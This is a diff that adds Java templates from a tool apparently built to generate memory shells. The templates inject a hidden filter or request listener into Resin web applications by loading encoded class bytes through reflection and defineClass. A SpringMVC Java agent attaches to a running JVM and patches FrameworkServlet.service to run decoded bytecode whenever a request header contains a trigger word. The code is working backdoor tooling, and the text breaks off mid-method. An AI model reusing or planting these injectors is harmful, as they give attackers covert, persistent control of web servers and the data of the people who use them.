static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,221 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class ResinFilterInjectorTpl {
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "/*";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new ResinFilterInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResinFilterInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object filter = getFilter(context);
|
||||||
|
addFilter(context, filter);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addFilter(Object context, Object filter) throws Exception {
|
||||||
|
String filterClassName = filter.getClass().getName();
|
||||||
|
if (!isInjected(context, filterClassName)) {
|
||||||
|
try {
|
||||||
|
Class filterMappingClass;
|
||||||
|
try {
|
||||||
|
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||||
|
} catch (Exception e) {
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||||
|
}
|
||||||
|
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||||
|
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
|
||||||
|
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||||
|
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
|
||||||
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{urlPattern});
|
||||||
|
invokeMethod(urlPattern, "init");
|
||||||
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
invokeMethod(context, "clearCache");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
HashSet<Object> visited = new HashSet();
|
||||||
|
|
||||||
|
try {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
if (webApp != null && visited.add(webApp)) {
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Handle exception
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFilter(Object context) {
|
||||||
|
Object filter = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
filter = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return filter;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public String getFilterName(String className) {
|
||||||
|
if (className.contains(".")) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
} else {
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
|
||||||
|
for (String key : filters.keySet()) {
|
||||||
|
if (key.contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,188 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class ResinListenerInjectorTpl {
|
||||||
|
public String getClassName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
new ResinListenerInjectorTpl();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ResinListenerInjectorTpl() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
Object listener = getListener(context);
|
||||||
|
injectListener(context, listener);
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private void injectListener(Object context, Object listener) throws Exception {
|
||||||
|
if (!isInjected(context, listener.getClass().getName())) {
|
||||||
|
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||||
|
// 清除缓存,否则某些 uri 无法连接
|
||||||
|
invokeMethod(context, "clearCache");
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() {
|
||||||
|
List<Object> contexts = new ArrayList();
|
||||||
|
HashSet<Object> visited = new HashSet();
|
||||||
|
try {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
|
if (webApp != null && visited.add(webApp)) {
|
||||||
|
contexts.add(webApp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||||
|
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
|
||||||
|
for (int i = 0; i < arrayList.size(); i++) {
|
||||||
|
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,200 @@
|
|||||||
|
package jmg.core.template;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import javassist.CtMethod;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.IllegalClassFormatException;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.lang.instrument.UnmodifiableClassException;
|
||||||
|
import java.lang.management.ManagementFactory;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||||
|
|
||||||
|
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
|
||||||
|
public static final String targetMethodName = "service";
|
||||||
|
public String injectHeaderName = "User-Agent";
|
||||||
|
|
||||||
|
public String injectHeaderValue = "magic";
|
||||||
|
|
||||||
|
public String getInjectorCode() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
|
||||||
|
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
|
||||||
|
for (Class clz : instrumentation.getAllLoadedClasses()) {
|
||||||
|
if (!clz.getName().equals(targetClassName)) continue;
|
||||||
|
instrumentation.retransformClasses(clz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
|
||||||
|
className = className.replace("/", ".");
|
||||||
|
if (className.equals(targetClassName) && classBeingRedefined != null) {
|
||||||
|
try {
|
||||||
|
ClassPool pool = ClassPool.getDefault();
|
||||||
|
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
|
||||||
|
String injectorCode = getInjectorCode();
|
||||||
|
String code = String.format("try {\n" +
|
||||||
|
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
|
||||||
|
" String injectorCode = \"%s\";\n" +
|
||||||
|
" byte[] byteArray;\n" +
|
||||||
|
" try {\n" +
|
||||||
|
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
|
||||||
|
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
|
||||||
|
" } catch (Throwable e) {\n" +
|
||||||
|
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||||
|
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||||
|
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||||
|
" }\n" +
|
||||||
|
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||||
|
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||||
|
" method.setAccessible(true);\n" +
|
||||||
|
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
|
||||||
|
" clazz.newInstance();\n" +
|
||||||
|
" }\n" +
|
||||||
|
" } catch (Exception e) {\n" +
|
||||||
|
" e.printStackTrace();\n" +
|
||||||
|
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
|
||||||
|
ctMethod.insertBefore(code);
|
||||||
|
byte[] bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
return bytes;
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Class virtualMachineClass;
|
||||||
|
private static Class virtualMachineDescriptorClass;
|
||||||
|
private static List<Object> vms;
|
||||||
|
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
// 获取 tools.jar 的路径
|
||||||
|
StringBuilder toolsJarPath = new StringBuilder();
|
||||||
|
toolsJarPath.append(System.getProperty("java.home"))
|
||||||
|
.append(File.separator)
|
||||||
|
.append("..")
|
||||||
|
.append(File.separator)
|
||||||
|
.append("lib")
|
||||||
|
.append(File.separator)
|
||||||
|
.append("tools.jar");
|
||||||
|
File toolsJarFile = new File(toolsJarPath.toString());
|
||||||
|
|
||||||
|
// 如果 JDK 目录下没有找到 tools.jar(纯JRE)
|
||||||
|
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
|
||||||
|
// 释放内置的 tools.jar
|
||||||
|
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
|
||||||
|
toolsJarFile = File.createTempFile("tools", ".jar");
|
||||||
|
|
||||||
|
FileOutputStream out = null;
|
||||||
|
try {
|
||||||
|
out = new FileOutputStream(toolsJarFile);
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = jarStream.read(buffer)) != -1) {
|
||||||
|
out.write(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (out != null) {
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Load the VirtualMachine and VirtualMachineDescriptor classes
|
||||||
|
URL url = toolsJarFile.toURI().toURL();
|
||||||
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
|
||||||
|
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
|
||||||
|
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
||||||
|
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
String jvmProcessId = null;
|
||||||
|
if (args.length == 0) {
|
||||||
|
// 列出所有 pid
|
||||||
|
listAllJvmPids();
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
Integer.parseInt(args[0]);
|
||||||
|
jvmProcessId = args[0];
|
||||||
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void listAllJvmPids() throws Exception {
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||||
|
String displayName = (String) displayNameMethod.invoke(vm);
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
infoLog(String.format("Found pid %s ——> [%s]", id, displayName));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||||
|
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||||
|
infoLog("Current agent path: " + agentFilePath);
|
||||||
|
File agentFile = new File(agentFilePath);
|
||||||
|
String currentPid = getCurrentPID();
|
||||||
|
if (targetPID.equals(currentPid)) {
|
||||||
|
infoLog("Skipping attaching to self");
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
infoLog("Attaching to target JVM with PID: " + targetPID);
|
||||||
|
Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID);
|
||||||
|
Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class);
|
||||||
|
loadAgent.invoke(jvm, agentFile.getAbsolutePath());
|
||||||
|
Method detach = virtualMachineClass.getDeclaredMethod("detach");
|
||||||
|
detach.invoke(jvm);
|
||||||
|
